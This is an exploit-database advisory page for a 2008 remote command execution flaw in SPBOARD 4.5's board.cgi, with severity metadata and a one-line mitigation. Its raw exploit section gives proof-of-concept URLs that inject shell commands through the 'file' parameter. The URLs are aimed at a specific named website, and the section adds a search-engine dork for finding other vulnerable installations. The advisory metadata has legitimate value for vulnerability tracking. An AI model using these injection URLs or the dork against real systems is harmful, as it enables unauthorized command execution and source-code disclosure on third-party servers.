Sepal's SPBOARD v4.5 (board.cgi) Remote Command Execution Vulnerability

vendor:

SPBOARD

by:

milw0rm.com

9.3

CVSS

HIGH

Remote Command Execution

CWE

Product Name: SPBOARD

Affected Version From: 4.5

Affected Version To: 4.5

Patch Exists: Yes

Related CWE: N/A

CPE: a:sepal:spboard:4.5

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Sepal’s SPBOARD v4.5 (board.cgi) Remote Command Execution Vulnerability

A vulnerability in Sepal's SPBOARD v4.5 (board.cgi) allows remote attackers to execute arbitrary commands via the file parameter.

Mitigation:

Upgrade to the latest version of Sepal's SPBOARD v4.5 (board.cgi)

Source

Exploit-DB raw data:

 _____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|
                                                            

Sepal's SPBOARD v4.5 (board.cgi) Remote Command Execution Vulnerability
Script : ):
POC : 
    |---> http://sansuyu.net/cgi-bin/spboard/board.cgi?id=ors1&number=908.cgi&file=|ls -lia|&action=down_file
    |---> http://sansuyu.net/cgi-bin/spboard/board.cgi?id=ors1&number=908.cgi&file=|cat board.cgi|&action=down_file
    |---> Open By Mozilla Firefox 
Dork : http://www.google.com.ly/search?hl=ar&q=SPBOARD+v4.5

        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         

# milw0rm.com [2008-10-29]